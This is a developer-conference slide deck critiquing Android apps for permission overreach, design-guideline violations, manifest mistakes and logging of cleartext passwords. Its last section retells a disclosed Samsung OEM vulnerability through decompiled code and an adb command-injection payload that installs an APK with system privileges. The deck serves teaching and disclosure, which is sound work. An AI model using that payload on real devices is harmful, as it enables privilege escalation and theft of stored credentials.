1 of 146

ANDROID APP BASHING

LEARN FROM THE BIGGEST FAILS

2 of 146

Eyal LEZMY

SLIDES

3 of 146

IT ALL STARTS ON THE

PLAY STORE

​

01

4 of 146

5 of 146

Request only what your app requires

​

1/3 of apps request more permissions than they need

MINIMISE PERMISSIONS

Users should prefer apps requesting the least permissions

​

​

6 of 146

You don’t need permission

​

Use ContentProviders

MINIMISE PERMISSIONS

Users should prefer apps requesting the least permissions

​

​

7 of 146

Permission are not required to launch another activity that has the permission

MINIMISE PERMISSIONS

​

8 of 146

Need a contact?

MINIMISE PERMISSIONS

​

9 of 146

Use the force, Eyal

MINIMISE PERMISSIONS

​

10 of 146

MINIMISE PERMISSIONS

​

​

Intent intent = new Intent(Intent.ACTION_GET_CONTENT);�intent.setType(Phone.CONTENT_ITEM_TYPE);�startActivityForResult(intent, MY_REQUEST_CODE);

Start the contact app

Handle the result

void onActivityResult(int requestCode, int resultCode, Intent data) {� if (data != null) {� Uri uri = data.getData();� if (uri != null) {� Cursor c = getContentResolver().query(uri, new String[] {Contacts.DISPLAY_NAME, Phone.NUMBER}, null, null, null);}� }

}

}

11 of 146

Need an UUID?

TelephonyManager.getDeviceId()

Requires READ_PHONE_STATE permission

​

​

​

MINIMISE PERMISSIONS

​

​

NO!

Settings.Secure.ANDROID_ID

Reset at every wipe

Not applicable on multi user environment

12 of 146

Need an UUID?

Generate your own UUID and use Backup API !

​

​

​

​

​

​

​

MINIMISE PERMISSIONS

​

​

String id = UUID.randomUUID().toString();

YES!

13 of 146

Android Backup API

​

· API is available on all Android devices.

· Manufacturors can implements their own transport and storage for the API

​

· Each device as its own backup data

​

· A new device will take a backup from a device associated with your google account.

​

· IT'S NOT A SYNC API !

​

MINIMISE PERMISSIONS

​

​

14 of 146

MICROSOFT STORY EPISODE 1

02

15 of 146

?

?

?

16 of 146

LOOK AND FEEL

​

HOTMAIL

OUTLOOK.COM

17 of 146

HOTMAIL

OUTLOOK.COM

LOOK AND FEEL

​

SAME!

18 of 146

LOOK AND FEEL

​

FOLLOW THE GUIDELINES!

http://d.android.com/design

19 of 146

Redesigned by Taylor Ling

LOOK AND FEEL

​

20 of 146

By Microsoft

LOOK AND FEEL

​

21 of 146

LOOK AND FEEL

​

22 of 146

LOOK AND FEEL

​

FOLLOW THE GUIDELINES!

http://d.android.com/design

23 of 146

LOOK AND FEEL

​

FOLLOW THE GUIDELINES!

http://d.android.com/design

PLEASE!

24 of 146

MICROSOFT STORY EPISODE 2

03

25 of 146

26 of 146

XBOX MUSIC

​

27 of 146

Emulator

(last devices configuration)

Nexus 7

S4

Nexus 10

Note 2

Galaxy Nexus

S3

Mega

Note 1

XCover (Android 2.3)

Tablets

XBOX MUSIC

​

28 of 146

Our Nutshell

XBOX MUSIC

​

Brand New devices

S4, Mega, HTC One, Xperia Z, ...

​

Tablets

Nexus 7/10, Tab2, Tab3, Note 10.1, …

​

Old devices

XCover

Not compatible

29 of 146

Our Nutshell

XBOX MUSIC

​

Main stream devices

S3, Galaxy Nexus, Note2, Note1, ...

​

Compatible

30 of 146

The dark side of the force,

Luke

XBOX MUSIC

​

31 of 146

Let’s look

into the

Manifest

XBOX MUSIC

​

32 of 146

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="14" />

Exclude the old devices

XBOX MUSIC

​

Not recommended (sept. 2013)

33 of 146

<compatible-screens>

<screen android:screenSize="small" android:screenDensity="ldpi" />

<screen android:screenSize="small" android:screenDensity="mdpi" />

<screen android:screenSize="small" android:screenDensity="hdpi" />

<screen android:screenSize="small" android:screenDensity="xhdpi" />

<screen android:screenSize="normal" android:screenDensity="ldpi" />

<screen android:screenSize="normal" android:screenDensity="mdpi" />

<screen android:screenSize="normal" android:screenDensity="hdpi" />

<screen android:screenSize="normal" android:screenDensity="xhdpi" />

</compatible-screens>

Excludes tablets

XBOX MUSIC

​

Excludes brand new devices

(XXHDPI screens)

Too restrictive!

34 of 146

XBOX MUSIC

​

“You should not use this element”

It can dramatically reduce the potential user base for your application

​

“Use it only as a last resort”

When the application absolutely does not work with specific screen configurations

​

“Instead, follow the guide to Supporting Multiple Screens”

compatible-screens

<

>

35 of 146

XBOX MUSIC

​

It does not accept xxhdpi

But you can instead specify 480 as the value

compatible-screens

<

>

36 of 146

XBOX MUSIC

​

Nothing seems tricky...

37 of 146

XBOX MUSIC

​

XXHDPI

7.7% of Android devices

XXHDPI

38 of 146

XBOX MUSIC

​

Tablets

11.2% of Android devices

XXHDPI

39 of 146

XBOX MUSIC

​

Missing targets

18,9% of the market

XXHDPI

40 of 146

The Mistakes

XBOX MUSIC

​

Have they tested on new devices?

​

Ignoring the power users

Brand new devices are bought by power users and early adopters

​

Does not support preloading music

The app is not prefectly opimized for mobility. Why ignoring nomad devices like tablets?

41 of 146

Return of the APK

XBOX MUSIC

​

42 of 146

A day after

XBOX MUSIC

​

43 of 146

A day after

XBOX MUSIC

​

They updated the app

44 of 146

<supports-screens

android:smallScreens="true"

android:normalScreens="true"

android:largeScreens="false"

android:xlargeScreens="false" />

XBOX MUSIC

​

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="18" />

45 of 146

<supports-screens

android:smallScreens="true"

android:normalScreens="true"

android:largeScreens="false"

android:xlargeScreens="false" />

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="18" />

XBOX MUSIC

​

HOORAY!!

46 of 146

MICROSOFT STORY EPISODE 3

04

47 of 146

48 of 146

MICROSOFT OFFICE

​

Follows the guidelines… This time

49 of 146

MICROSOFT OFFICE

​

Not that bad

But it could be better

50 of 146

Fight the confusion

MICROSOFT OFFICE

​

Office 365 offer is quite confusing

People used to buy Office licenses, not to subscribe to an Office service

​

They try to avoid confusion

51 of 146

MICROSOFT OFFICE

​

52 of 146

MICROSOFT OFFICE

​

The title is clear

53 of 146

MICROSOFT OFFICE

​

Is it enough explicit?

54 of 146

Problem

MICROSOFT OFFICE

​

Does not support tablet format

A productivity app has to be compatible with big screens formats

​

​

- The app is optimized for a phone

- On tablet, you can use the Office Webapps

- We plan to enable editing with Webapps

Microsoft’s answer on PlayStore

55 of 146

Other problems

MICROSOFT OFFICE

​

Less features than the competitors

Does not support local files

Does not support edition

​

The backend seems not very ready

I have been stuck during 24 hours at the mobile activation, and I’m not alone

56 of 146

Conclusion

MICROSOFT OFFICE

​

Adapt your UI to screen sizes depending on your features

​

Differenciate your service from competitors

Especially when you are new on the market

​

Your backend have to support your mobile distribution

57 of 146

One more thing!

MICROSOFT OFFICE

​

58 of 146

Check out the Manifest

MICROSOFT OFFICE

​

59 of 146

MICROSOFT OFFICE

​

<uses-permission android:name="android.permission.READ_LOGS"/>

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="16" />

They support ICS+

Read sensitive log data

60 of 146

MICROSOFT OFFICE

XXHDPI

Ignore READ_LOGS

Jelly Bean removed this feature

Accepts READ_LOGS

38% of the supported devices

61 of 146

Don’t do this

Why scaring 100% of your users?

To use a feature with 38% of them

​

Avoid using deprecated functions

As much as possible

MICROSOFT OFFICE

​

62 of 146

YAHOO! WEATHER

05

63 of 146

64 of 146

YAHOO WEATHER

​

Beautiful...

65 of 146

YAHOO WEATHER

​

​

Very good score

66 of 146

Is it perfect?

Hell no!

YAHOO WEATHER

​

67 of 146

« Try not.

Do.

Or do not.

There is no try. »

​

​

YAHOO WEATHER

​

YODA

68 of 146

YAHOO WEATHER

​

A splashscreen

69 of 146

YAHOO WEATHER

​

Non native UI

70 of 146

YAHOO WEATHER

​

Non native UI

71 of 146

YAHOO WEATHER

​

Where is my

status bar?

72 of 146

YAHOO WEATHER

​

Immersive experience

Games, Books, Videos

Multitasking

Everything else

Hide

status bar

Show

status bar

73 of 146

When do you check the weather?

Morning?

- Choosing your clothes

- Eating your breakfast

- Checking your emails

- Looking after your kids

​

This is multitasking!

YAHOO WEATHER

​

​

74 of 146

YAHOO WEATHER

​

Youtube

An immersive app

No status bar

75 of 146

YAHOO WEATHER

​

It allows multitasking

Inside the app

Playing video

76 of 146

YAHOO WEATHER

​

Samsung Video Player

77 of 146

YAHOO WEATHER

​

Popup play

Samsung Video Player

78 of 146

About the context you have to think

YAHOO WEATHER

79 of 146

FACEBOOK EPISODE 1

06

80 of 146

81 of 146

Under the hood

March 2013

Too much methods

LinearAlloc buffer overflow

​

Solution is to divide the code into several dex files

And load it on demand

FACEBOOK

​

​

82 of 146

Under the hood

March 2013

Facebook app source code was not enough modular to allow this at application level

“Too many of our classes are accessed directly by the Android framework”

​

They had to do it at system level, thanks to reflection

“We needed to inject our secondary dex files directly into the system class loader”

FACEBOOK

​

​

83 of 146

« More backwards compatibility for Facebook.�

Another day, another private field accessed. »

FACEBOOK

​

GIT COMMENT

ANDROID SOURCE CODE

January 2013

84 of 146

FACEBOOK

​

/**�* List of dex/resource (class path) elements.�* Should be called pathElements, but the Facebook app uses reflection�* to modify 'dexElements' (http://b/7726934).�*/�private final Element[] dexElements;

Android source code - DexPathList.java

Commit January 2013

​

85 of 146

FACEBOOK

​

Patch set 2

lets facebook start (at least judging by logcat output)

Android code review

January 2013

After manual testing

facebook starts, though i don't have an account.

86 of 146

This was not enough

They finally patched Dalvik VM

Using native hot fix to change the LinearAlloc buffer size

FACEBOOK

​

​

87 of 146

I feel dirty

FACEBOOK

​

88 of 146

In a nutshell

Modularity saves lifes

​

Google seems to test some popular apps during integration

So they don’t break the system apps

​

Google hires engineers when Facebook hires sculptors

Inspired by Sayo Oladeji

FACEBOOK

​

​

89 of 146

FACEBOOK EPISODE 2

07

90 of 146

91 of 146

FACEBOOK HOME

​

A lock screen

92 of 146

FACEBOOK HOME

​

Several services supported

93 of 146

FACEBOOK HOME

​

And a launcher

94 of 146

FACEBOOK HOME

​

95 of 146

The problem

The launcher is too simple

No folder

No widget

No dock (during first months)

​

It used to be mandatory

Lockscreen + Launcher

FACEBOOK HOME

​

​

96 of 146

FACEBOOK HOME

​

97 of 146

FACEBOOK HOME

​

98 of 146

FACEBOOK HOME

​

Opens default launcher

99 of 146

FACEBOOK HOME

​

Spot the odd one out

100 of 146

FACEBOOK HOME

​

No, actually, there is no consistency

101 of 146

Conclusion

Keep the platform spirit

To override native OS elements you need first to implement all the basic features the user use to use

​

Know your weakest points

And get prepare to limit their impact

​

FACEBOOK HOME

​

​

102 of 146

08

CANAL PLUS

103 of 146

104 of 146

CANAL+ TOUCH

​

Request: https://canalURL.com/1.5/getThmChannel.php...

Request: https://canalURL.com/1.5/getProgramThm.php...

Request: https://canalURL.com/1.4/programRediff.php...

Request: https://canalURL.com/1.5/VOD.php?release=1...

json response : {"token":{"url":"http:\/\/download....

Request: https://canalURL.com/1.4/getChannel.php?SE...

json response: {"token":{"url":"https:\/\/canalURL....

Request: https://canalURL.com/1.5/guideTvChannel.ph...

Request: https://canalURL.com/1.5/programInfo.php?U...

Request: https://canalURL.com/1.5/myTv.php?release=...

This is the logcat

105 of 146

Chatty logs

Make reverse engineering easier

HTTPS connexion

PHP backend

All the URLS and parameters are known

Some of the response are known too

​

CANAL+ TOUCH

​

​

​

106 of 146

Chatty logs

Can bring really big security breaches

​

CANAL+ TOUCH

​

​

​

107 of 146

https://canalURL.com/1.5/authentification.php?

login=[MY_LOGIN]&pass=[MY_CLEAR_PASSWORD]...

CANAL+ TOUCH

​

​

This is always the logcat

108 of 146

https://canalURL.com/1.5/authentification.php?

login=[MY_LOGIN]&pass=[MY_CLEAR_PASSWORD]...

CANAL+ TOUCH

​

​

This is always the logcat

Wait WHAT ?!

109 of 146

Shut the fuck up!

Control your log output

Easy method with BuildConfig.DEBUG

​

Never send clear password over the network

NEVAAAAAAA!!!!

CANAL+ TOUCH

​

​

​

110 of 146

CANAL+ TOUCH

​

​

public static final boolean SHOW_LOG = BuildConfig.DEBUG;

​

public static void d(final String tag, final String msg) {

if (SHOW_LOG)

Log.d(tag, msg);

}

Avoid the leak, easily

And test it during QA

111 of 146

OEM SOFTWARE

09

112 of 146

The Android framework

Many APKs

Implement the features

​

Often have system access

To use low level features

OEM SOFTWARE

​

​

​

113 of 146

Open bar?

OEM SOFTWARE

​

114 of 146

Let’s see

OEM SOFTWARE

​

115 of 146

Android OEM applications

(in)security

​

Talk by ANDRE MOULU

Quarkslab

OEM SOFTWARE

​

​

116 of 146

Methodology

Reverse engineering

Using Androguard

​

A custom result environment

Manifest analysis

Check for sensitive API usage

Diff between OS version (to find patches)

OEM SOFTWARE

​

​

​

117 of 146

The results on Samsung devices

12 vulnerabilities found

Leak personal information

Access non-permited features

Silent SMS control

Code injection

...

​

Similar vulnerabilities on many constructors

OEM SOFTWARE

​

​

​

118 of 146

Gimme more!

OEM SOFTWARE

​

119 of 146

Search for

sharedUserId = system

Sensitive user ID

​

Command execution

Sensitive usage

OEM SOFTWARE

​

​

​

Find serviceModeApp.apk

= Very sensitive app !

120 of 146

OEM SOFTWARE

​

​

<receiver name=".FTATDumpReceiver">

<intent-filter>

<action name="com.android.sec.FTAT_DUMP"></action>

</intent-filter>

</receiver>

​

<receiver name=".FTATDumpReceiver"

permission="...servicemodeapp.permission.KEYSTRING">

<intent-filter>

<action name="com.android.sec.FAILDUMP"></action>

</intent-filter>

</receiver>

Receiver declared twice

121 of 146

<receiver name=".FTATDumpReceiver">

<intent-filter>

<action name="com.android.sec.FTAT_DUMP"></action>

</intent-filter>

</receiver>

​

<receiver name=".FTATDumpReceiver"

permission="...servicemodeapp.permission.KEYSTRING">

<intent-filter>

<action name="com.android.sec.FAILDUMP"></action>

</intent-filter>

</receiver>

OEM SOFTWARE

​

​

Permission asked for this action

122 of 146

<receiver name=".FTATDumpReceiver">

<intent-filter>

<action name="com.android.sec.FTAT_DUMP"></action>

</intent-filter>

</receiver>

​

<receiver name=".FTATDumpReceiver"

permission="...servicemodeapp.permission.KEYSTRING">

<intent-filter>

<action name="com.android.sec.FAILDUMP"></action>

</intent-filter>

</receiver>

OEM SOFTWARE

​

​

No permission needed for this action!!

123 of 146

public void onReceive(Context paramContext, Intent paramIntent) {

String str1 = paramIntent.getAction();

if (str1.equals("com.android.sec.FTAT_DUMP"))

{

String str3 = "FTAT_" +

paramIntent.getStringExtra("FILENAME");

[...]

String str9 = str8 + [...]

Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);

localIntent2.putExtra("FILENAME", str9);

paramContext.startService(localIntent2);

}

[...]

}

OEM SOFTWARE

​

​

We read the FTATDumpReceiver source code

124 of 146

public void onReceive(Context paramContext, Intent paramIntent) {

String str1 = paramIntent.getAction();

if (str1.equals("com.android.sec.FTAT_DUMP"))

{

String str3 = "FTAT_" +

paramIntent.getStringExtra("FILENAME");

[...]

String str9 = str8 + [...]

Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);

localIntent2.putExtra("FILENAME", str9);

paramContext.startService(localIntent2);

}

[...]

}

OEM SOFTWARE

Intercepts the FTAT_DUMP action

125 of 146

public void onReceive(Context paramContext, Intent paramIntent) {

String str1 = paramIntent.getAction();

if (str1.equals("com.android.sec.FTAT_DUMP"))

{

String str3 = "FTAT_" +

paramIntent.getStringExtra("FILENAME");

[...]

String str9 = str8 + [...]

Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);

localIntent2.putExtra("FILENAME", str9);

paramContext.startService(localIntent2);

}

[...]

}

OEM SOFTWARE

​

​

Concats the FILENAME extra to str3

126 of 146

public void onReceive(Context paramContext, Intent paramIntent) {

String str1 = paramIntent.getAction();

if (str1.equals("com.android.sec.FTAT_DUMP"))

{

String str3 = "FTAT_" +

paramIntent.getStringExtra("FILENAME");

[...]

String str9 = str8 + [...]

Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);

localIntent2.putExtra("FILENAME", str9);

paramContext.startService(localIntent2);

}

[...]

}

OEM SOFTWARE

​

​

Other concatenations follow

127 of 146

public void onReceive(Context paramContext, Intent paramIntent) {

String str1 = paramIntent.getAction();

if (str1.equals("com.android.sec.FTAT_DUMP"))

{

String str3 = "FTAT_" +

paramIntent.getStringExtra("FILENAME");

[...]

String str9 = str8 + [...]

Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);

localIntent2.putExtra("FILENAME", str9);

paramContext.startService(localIntent2);

}

[...]

}

OEM SOFTWARE

​

​

Prepares an intent to FTATDumpService

128 of 146

public void onReceive(Context paramContext, Intent paramIntent) {

String str1 = paramIntent.getAction();

if (str1.equals("com.android.sec.FTAT_DUMP"))

{

String str3 = "FTAT_" +

paramIntent.getStringExtra("FILENAME");

[...]

String str9 = str8 + [...]

Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);

localIntent2.putExtra("FILENAME", str9);

paramContext.startService(localIntent2);

}

[...]

}

OEM SOFTWARE

​

​

Adds the final string to the intent

129 of 146

public void onReceive(Context paramContext, Intent paramIntent) {

String str1 = paramIntent.getAction();

if (str1.equals("com.android.sec.FTAT_DUMP"))

{

String str3 = "FTAT_" +

paramIntent.getStringExtra("FILENAME");

[...]

String str9 = str8 + [...]

Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);

localIntent2.putExtra("FILENAME", str9);

paramContext.startService(localIntent2);

}

[...]

}

OEM SOFTWARE

​

​

Starts the FTATDumpService with our FILENAME parameter as extra

130 of 146

public int onStartCommand(Intent paramIntent, ...){

final String str = paramIntent.getStringExtra("FILENAME");

[...]

new Thread(new Runnable(){

public void run(){

[...]

if(FTATDumpService.this.

DoShellCmd("dumpstate > /data/log/" + str + ".log"))

FTATDumpService.this.mHandler.sendEmptyMessage(1015);

[...]

}

}).start();

return 0;

}

OEM SOFTWARE

​

​

We read then the FTATDumpService source code

131 of 146

public int onStartCommand(Intent paramIntent, ...){

final String str = paramIntent.getStringExtra("FILENAME");

[...]

new Thread(new Runnable(){

public void run(){

[...]

if(FTATDumpService.this.

DoShellCmd("dumpstate > /data/log/" + str + ".log"))

FTATDumpService.this.mHandler.sendEmptyMessage(1015);

[...]

}

}).start();

return 0;

}

OEM SOFTWARE

​

​

Extracts the FILENAME extra to str

132 of 146

public int onStartCommand(Intent paramIntent, ...){

final String str = paramIntent.getStringExtra("FILENAME");

[...]

new Thread(new Runnable(){

public void run(){

[...]

if(FTATDumpService.this.

DoShellCmd("dumpstate > /data/log/" + str + ".log"))

FTATDumpService.this.mHandler.sendEmptyMessage(1015);

[...]

}

}).start();

return 0;

}

OEM SOFTWARE

​

​

Opens and starts a new thread

133 of 146

public int onStartCommand(Intent paramIntent, ...){

final String str = paramIntent.getStringExtra("FILENAME");

[...]

new Thread(new Runnable(){

public void run(){

[...]

if(FTATDumpService.this.

DoShellCmd("dumpstate > /data/log/" + str + ".log"))

FTATDumpService.this.mHandler.sendEmptyMessage(1015);

[...]

}

}).start();

return 0;

}

OEM SOFTWARE

​

​

Seems to “do a shell command” with our FILENAME parameter concatenated

134 of 146

OEM SOFTWARE

​

​

private boolean DoShellCmd(String paramString){

[...]

String[] arrayOfString = new String[3];

arrayOfString[0] = "/system/bin/sh";

arrayOfString[1] = "-c";

arrayOfString[2] = paramString;

[...]

Runtime.getRuntime().exec(arrayOfString).waitFor();

[...]

return true;

}

This is DoShellCmd function

135 of 146

OEM SOFTWARE

​

​

private boolean DoShellCmd(String paramString){

[...]

String[] arrayOfString = new String[3];

arrayOfString[0] = "/system/bin/sh";

arrayOfString[1] = "-c";

arrayOfString[2] = paramString;

[...]

Runtime.getRuntime().exec(arrayOfString).waitFor();

[...]

return true;

}

Creates a shell command

And runs it

136 of 146

OEM SOFTWARE

​

​

private boolean DoShellCmd(String paramString){

[...]

String[] arrayOfString = new String[3];

arrayOfString[0] = "/system/bin/sh";

arrayOfString[1] = "-c";

arrayOfString[2] = paramString;

[...]

Runtime.getRuntime().exec(arrayOfString).waitFor();

[...]

return true;

}

And our FILENAME parameter is still not modified

137 of 146

OEM SOFTWARE

​

​

private boolean DoShellCmd(String paramString){

[...]

String[] arrayOfString = new String[3];

arrayOfString[0] = "/system/bin/sh";

arrayOfString[1] = "-c";

arrayOfString[2] = paramString;

[...]

Runtime.getRuntime().exec(arrayOfString).waitFor();

[...]

return true;

}

And our FILENAME parameter is still not modified

BINGO!

138 of 146

Access to

All permissions declared by system apps

156 in this case

​

All files belonging to system user

Wifi keys

Password, PIN, gesture storage

...

OEM SOFTWARE

139 of 146

$ adb shell am broadcast -a com.android.sec.FTAT_DUMP

--es FILENAME '../../../../../dev/null;

/system/bin/pm install an.apk;

#'

​

Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }

Broadcast completed : result=0

OEM SOFTWARE

​

​

A simple broadcast for FTAT_DUMP action

140 of 146

$ adb shell am broadcast -a com.android.sec.FTAT_DUMP

--es FILENAME '../../../../../dev/null;

/system/bin/pm install an.apk;

#'

​

Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }

Broadcast completed : result=0

OEM SOFTWARE

​

​

We declare the FILENAME argument

141 of 146

$ adb shell am broadcast -a com.android.sec.FTAT_DUMP

--es FILENAME '../../../../../dev/null;

/system/bin/pm install an.apk;

#'

​

Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }

Broadcast completed : result=0

OEM SOFTWARE

​

​

We point the destination file to null

142 of 146

$ adb shell am broadcast -a com.android.sec.FTAT_DUMP

--es FILENAME '../../../../../dev/null;

/system/bin/pm install an.apk;

#'

​

Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }

Broadcast completed : result=0

OEM SOFTWARE

​

​

We execute our system command

143 of 146

Open bar!

OEM SOFTWARE

​

144 of 146

Moral of the story

It happens at application level

​

Look after your app’s backdoors

Don’t export local services

Use a strict permission model

​

Consider every input as a threat

Escape all sensitive parameters you receive

OEM SOFTWARE

​

​

​

145 of 146

The Android emulator you ever dreamed

www.genymotion.com

146 of 146

Thank you!

​